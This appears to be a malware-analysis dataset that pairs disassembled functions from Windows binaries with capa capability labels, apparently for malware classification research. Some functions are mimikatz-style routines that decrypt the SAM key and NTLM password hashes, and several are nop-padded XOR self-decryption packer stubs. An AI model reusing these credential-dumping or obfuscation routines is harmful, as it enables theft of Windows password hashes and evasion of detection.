joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41bf40
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x43aff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0x4001
mov dword [esp + 0x18], ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, dword [esp + 0x3c]
mov dword [esp + 0x10], eax
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 4]
cmp esi, esi
mov edi, esi
je 0x41bfa2
push 0xffffffffffffffff
push 0
push edi
mov ecx, ebx
call fcn.00402d80
add edi, 0x10
add ebx, 0x10
cmp edi, esi
jne 0x41bf8c
mov edi, dword [ebp + 8]
mov esi, ebx
cmp ebx, edi
je 0x41bfbb
push 0
mov ecx, esi
call fcn.00414600
add esi, 0x10
cmp esi, edi
jne 0x41bfab
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [ebp + 8], ebx
push eax
push 0x4000
xor ebx, ebx
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x41c083
mov esi, dword [esp + 0x10]
cmp byte [esi], 0
je 0x41c083
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dl, byte [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x1c], dl
push ecx
push esi
lea ecx, [esp + 0x24]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00402fd0
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x1c]
push ecx
push 1
push eax
mov ecx, ebp
mov dword [esp + 0x40], ebx
call fcn.0041c260
mov eax, dword [esp + 0x20]
mov dword [esp + 0x34], 0xffffffff
cmp eax, ebx
je 0x41c05b
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x41c052
cmp al, 0xff
je 0x41c052
dec al
mov byte [ecx], al
jmp 0x41c05b
push ecx
call fcn.0041c7f6
add esp, 4
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x20], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov al, byte [esi + ecx + 1]
lea esi, [esi + ecx + 1]
test al, al
jne 0x41bfed
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp + 4]
cmp eax, ebx
je 0x41c0a4
mov ebx, dword [ebp + 8]
sub ebx, eax
sar ebx, 4
mov ecx, dword [esp + 0x2c]
xor edx, edx
cmp edx, ebx
pop edi
sbb eax, eax
pop esi
pop ebp
pop ebx
neg eax
mov dword fs:[0], ecx
add esp, 0x28
ret 4
Function at 0x4321e6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x447ec0
cmp edx, dword [eax]
je 0x432208
add eax, 8
inc ecx
cmp eax, 0x447f50
jl 0x4321f9
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x447ec0]
jne 0x432336
mov eax, dword [0x4496f4]
cmp eax, 1
je 0x432310
test eax, eax
jne 0x432239
cmp dword [0x447504], 1
je 0x432310
cmp edx, 0xfc
je 0x432336
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x432270
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00431320
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0042d300
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4322b3
lea eax, [ebp - 0x1a4]
push eax
call fcn.0042d300
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43e444
push edi
call fcn.0042c610
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00431320
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00431330
lea eax, [ebp - 0xa0]
push 0x43e424
push eax
call fcn.00431330
push dword [esi + 0x447ec4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00431330
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00436f4c
add esp, 0x2c
pop edi
jmp 0x432336
lea eax, [ebp + 8]
lea esi, [esi + 0x447ec4]
push 0
push eax
push dword [esi]
call fcn.0042d300
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x8d66ba6
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..text_1
mov ebx, 0x42cd70
nop
nop
mov ecx, 0xd726550
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x3ea44d93
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x5aa45ca9
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push ecx
push ebx
push ebp
push 0x1c
push 0x40
mov dword [esp + 0x10], ecx
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x401058
push esi
mov esi, dword [esp + 0x14]
push edi
push dword [esp + 0x24]
mov dword [ebx], 0x208
lea edi, [ebx + 0xc]
mov dword [ebx + 4], 0x660e
mov dword [ebx + 8], 0x10
movsd dword es:[edi], dword [esi]
push ebp
push ebp
push 0x1c
movsd dword es:[edi], dword [esi]
push ebx
push dword [esp + 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
pop ecx
ret
Function at 0x40105e
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0xf0000000
push 0x18
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
xor ebp, ebp
mov dword [esp + 0x28], ebx
push ebx
inc ebp
mov edi, edx
push eax
mov esi, ecx
mov dword [esp + 0x2c], ebp
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x401194
push ecx
lea eax, [esp + 0x14]
push eax
push ecx
push ecx
mov ecx, dword [esp + 0x24]
push esi
call fcn.00401000
add esp, 0x14
test eax, eax
je 0x401173
mov esi, dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
lea eax, [esp + 0x18]
push ebx
push eax
push 4
push dword [esp + 0x1c]
call esi
test eax, eax
je 0x401155
push ebx
push edi
push ebp
push dword [esp + 0x1c]
call esi
test eax, eax
je 0x401140
mov ebx, dword [esp + 0x28]
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [esp + 0x2c]
mov esi, eax
mov dword [edi], esi
test esi, esi
je 0x401163
mov ebp, dword [esp + 0x30]
push ebx
push dword [esp + 0x28]
push esi
mov dword [ebp], ebx
call fcn.00403e20
add esp, 0xc
push ebp
push esi
xor esi, esi
push esi
push 1
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov ebx, eax
test ebx, ebx
jne 0x401167
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_crypto_genericAES128Decrypt___CryptDecrypt__0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
mov dword [ebp], esi
jmp 0x401167
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_crypto_genericAES128Decrypt___CryptSetKeyParam__IV___0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
jmp 0x401167
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_crypto_genericAES128Decrypt___CryptSetKeyParam__MODE___0x_08x__n
jmp 0x40114c
mov ebx, dword [esp + 0x1c]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x401186
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_crypto_genericAES128Decrypt___kull_m_crypto_hkey__0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x4011a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_crypto_genericAES128Decrypt___CryptAcquireContext__0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x10
ret
Function at 0x401360
Capabilities:
Read file via mapping

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, edx
push 8
push 0x40
xor esi, esi
call edi
mov dword [ebx], eax
test eax, eax
je 0x40143a
push 0x10
push 0x40
mov dword [eax], 1
call edi
mov edi, dword [ebx]
mov dword [edi + 4], eax
test eax, eax
je 0x401433
push esi
push esi
push esi
push 2
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov eax, dword [edi + 4]
cmp dword [eax], esi
je 0x401433
mov edi, dword [ebx]
push esi
push esi
push esi
push 4
push dword [eax]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [edi + 4]
mov dword [ecx + 4], eax
mov ecx, dword [edi + 4]
mov edx, dword [ecx + 4]
test edx, edx
je 0x401433
cmp dword [edx], 0x66676572
mov eax, ecx
jne 0x40141b
cmp dword [edx + 0x1c], esi
jne 0x40141b
add edx, 0x1000
cmp dword [edx], 0x6e696268
jne 0x40141b
mov dword [ecx + 8], edx
lea ecx, [edx + 0x20]
mov eax, dword [edi + 4]
add ecx, dword [edx + 4]
mov edx, 0x6b6e
mov dword [eax + 0xc], ecx
mov eax, dword [edi + 4]
mov ecx, dword [eax + 0xc]
cmp word [ecx + 4], dx
jne 0x401417
test byte [ecx + 6], 0xc
je 0x401417
inc esi
test esi, esi
jne 0x40143a
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebx]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x401888
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
push esi
push edi
mov eax, dword [ebp]
sub eax, ebx
je 0x4018fc
sub eax, 1
jne 0x401923
push dword [esp + 0x14]
call fcn.00401776
test eax, eax
pop ecx
setne bl
test eax, eax
je 0x401923
mov esi, dword [eax + 8]
mov edi, dword [esp + 0x24]
and esi, 0x7fffffff
test edi, edi
je 0x401923
cmp dword [esp + 0x20], 0
je 0x4018f8
cmp dword [edi], esi
sbb ebx, ebx
inc ebx
cmp dword [edi], esi
jb 0x4018f8
cmp dword [eax + 8], 0
lea edx, [eax + 0xc]
jl 0x4018ea
mov eax, dword [ebp + 4]
mov edx, dword [edx]
mov ecx, dword [eax + 8]
add ecx, 4
add edx, ecx
push esi
push edx
push dword [esp + 0x28]
call fcn.00403e20
add esp, 0xc
mov dword [edi], esi
jmp 0x401923
push dword [esp + 0x24]
push dword [esp + 0x24]
push ebx
push ebx
push dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0x401923
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret
Function at 0x40192a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov eax, dword [edi]
sub eax, ebx
je 0x401a38
sub eax, 1
jne 0x401a61
cmp dword [edx + 0x18], ebx
je 0x401a61
mov ecx, dword [esp + 0x14]
cmp ecx, dword [edx + 0x18]
jae 0x401a61
mov esi, dword [edx + 0x20]
cmp esi, 0xffffffff
je 0x401a61
mov eax, dword [edi + 4]
mov ebp, 0x666c
mov edi, dword [eax + 8]
add esi, edi
movzx eax, word [esi + 4]
cmp ax, bp
je 0x40198b
mov ebp, 0x686c
cmp ax, bp
jne 0x401a61
movzx eax, word [esi + 6]
test ax, ax
je 0x401a61
cmp ecx, eax
jae 0x401a61
mov ecx, dword [esi + ecx*8 + 8]
mov eax, 0x6b6e
add ecx, edi
cmp word [ecx + 4], ax
jne 0x401a61
mov edi, dword [esp + 0x18]
test edi, edi
je 0x401a61
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x401a61
test byte [ecx + 6], 0x20
movzx esi, word [ecx + 0x4c]
je 0x401a08
cmp esi, dword [eax]
sbb ebx, ebx
neg ebx
cmp dword [eax], esi
jbe 0x401a2a
add ecx, 0x50
mov edx, esi
call fcn.00401bb4
mov ebp, eax
test ebp, ebp
je 0x401a26
lea eax, [esi + esi]
push eax
push ebp
push edi
call fcn.00403e20
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401a26
shr esi, 1
cmp esi, dword [eax]
sbb ebx, ebx
neg ebx
cmp dword [eax], esi
jbe 0x401a2a
movzx eax, word [edx + 0x4c]
push eax
lea eax, [ecx + 0x50]
push eax
push edi
call fcn.00403e20
add esp, 0xc
mov eax, dword [esp + 0x1c]
test ebx, ebx
je 0x401a34
xor ecx, ecx
mov word [edi + esi*2], cx
mov dword [eax], esi
jmp 0x401a61
push ebx
push ebx
push ebx
push ebx
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0x401a61
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret
Function at 0x4024a9
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x8c
push ebx
push ebp
push esi
mov eax, ecx
xor ebx, ebx
push edi
push 0x10
pop esi
mov edi, dword [eax]
lea ecx, [esp + 0x88]
mov dword [esp + 0x10], eax
mov ebp, edx
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
test edi, edi
je 0x402678
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x402678
movzx edx, word [edi + ebp + 2]
mov eax, edx
sub eax, 1
je 0x402595
sub eax, 1
je 0x40251b
push edx
push str.ERROR_kuhl_m_lsadump_getHash___Unknow_SAM_HASH_revision___hu__n
call fcn.0040122e
pop ecx
pop ecx
jmp 0x402667
cmp dword [edi + ebp + 4], esi
jb 0x402678
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [ecx - 0x18]
mov ecx, dword [esp + 0xa8]
push eax
lea eax, [ebp + 0x18]
add eax, edi
lea edx, [ebp + 8]
push eax
add edx, edi
call fcn.0040105e
add esp, 0x10
test eax, eax
je 0x402667
mov eax, dword [esp + 0x20]
push eax
push 0x40
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x402586
push dword [esp + 0x20]
push dword [esp + 0x14]
push eax
call fcn.00403e20
xor ebx, ebx
add esp, 0xc
inc ebx
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x402646
cmp ecx, 6
jb 0x402678
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
push esi
push dword [esp + 0xa4]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
lea eax, [esp + 0x38]
push eax
call esi
push 4
lea eax, [esp + 0xa8]
push eax
lea eax, [esp + 0x38]
push eax
call esi
push 0xb
push str.NTPASSWORD
lea eax, [esp + 0x38]
push eax
call esi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 4]
add eax, 0xfffffffc
push eax
push 0x40
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, eax
mov dword [esp + 0x1c], ecx
test ecx, ecx
je 0x402678
push dword [esp + 0x14]
lea eax, [ebp + 4]
add eax, edi
push eax
push ecx
call fcn.00403e20
add esp, 0xc
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
xor ebx, ebx
test eax, eax
setns bl
test eax, eax
jns 0x402646
push str.ERROR_kuhl_m_lsadump_getHash___RtlDecryptData2_n
call fcn.0040122e
pop ecx
test ebx, ebx
je 0x402667
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x20]
push str.NTLM
push dword [esp + 0xac]
call fcn.0040243a
add esp, 0xc
cmp dword [esp + 0x1c], 0
je 0x402678
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x8c
ret
Function at 0x402685
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x8c
push ebx
push ebp
mov ebp, dword [esp + 0x9c]
lea eax, [esp + 0x80]
push esi
push edi
push 0x10
mov edi, ecx
mov dword [esp + 0x24], eax
pop ecx
push str._nSAMKey_:
mov esi, edx
mov dword [esp + 0x1c], ecx
xor ebx, ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ebp
call fcn.0040122e
pop ecx
push ebx
lea eax, [esp + 0x14]
mov edx, esi
push eax
push ecx
push 0x426b94
push ebx
mov ecx, edi
call fcn.00401a96
add esp, 0x14
test eax, eax
je 0x402822
mov ebp, dword [esp + 0x10]
movzx ecx, word [ebp]
mov eax, ecx
cmp eax, 2
jb 0x402805
cmp ecx, 3
ja 0x402805
mov eax, dword [ebp + 0x68]
sub eax, 1
je 0x402778
sub eax, 1
je 0x402720
push dword [ebp + 0x68]
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
jmp 0x40280b
mov ecx, dword [esp + 0xa0]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push dword [ebp + 0x74]
lea eax, [ebp + 0x88]
push eax
lea edx, [ebp + 0x78]
call fcn.0040105e
add esp, 0x10
test eax, eax
je 0x402812
xor ebx, ebx
cmp dword [esp + 0x14], 0x10
sete bl
jne 0x402769
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0xa4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x402812
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
lea eax, [ebp + 0x70]
push 0x10
push eax
lea eax, [esp + 0x38]
push eax
call esi
push 0x2f
push str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea eax, [esp + 0x38]
push eax
call esi
push 0x10
push dword [esp + 0xa4]
lea eax, [esp + 0x38]
push eax
call esi
push 0x29
push str.0123456789012345678901234567890123456789
lea eax, [esp + 0x38]
push eax
call esi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov edi, dword [esp + 0xa4]
lea esi, [ebp + 0x80]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x28]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
xor ebx, ebx
test eax, eax
setns bl
test eax, eax
jns 0x402812
push 0x426b98
call fcn.0040122e
jmp 0x402811
push eax
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
call fcn.0040122e
pop ecx
pop ecx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebp, dword [esp + 0xa4]
jmp 0x40282d
push str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.0040122e
pop ecx
test ebx, ebx
je 0x40283a
push ecx
mov ecx, ebp
call fcn.00401bf5
pop ecx
push 0x425e20
call fcn.0040122e
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x8c
ret

Function at 0x41430e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041418d

Function at 0x41583e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004151ac
Function at 0x415849
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004153e7
Function at 0x40ba30
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00405060
call sub.kernel32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.kernel32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ba66
jmp 0x40baa5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x40ba63
cmp al, 0x20
je 0x40ba63
cmp al, 0x22
jne 0x40ba89
jmp 0x40baf4
cmp al, 0x20
lea esi, [esi]
je 0x40ba90
test al, al
je 0x40baa5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x40ba77
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x40bb0a
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x40ba97
cmp al, 0x20
je 0x40ba97
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40bab4
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.kernel32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401803
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x40bafe
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x40baf0
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x40ba90
cmp al, 9
je 0x40ba97
jmp 0x40baa5

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0xa138ee
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x79c45f62
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x41e090
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ed70
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41e15b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41e15b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41e10e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41e119
or bh, 8
and edi, 0x8000000
je 0x41e134
mov eax, dword [0x1041bbc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41e15b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret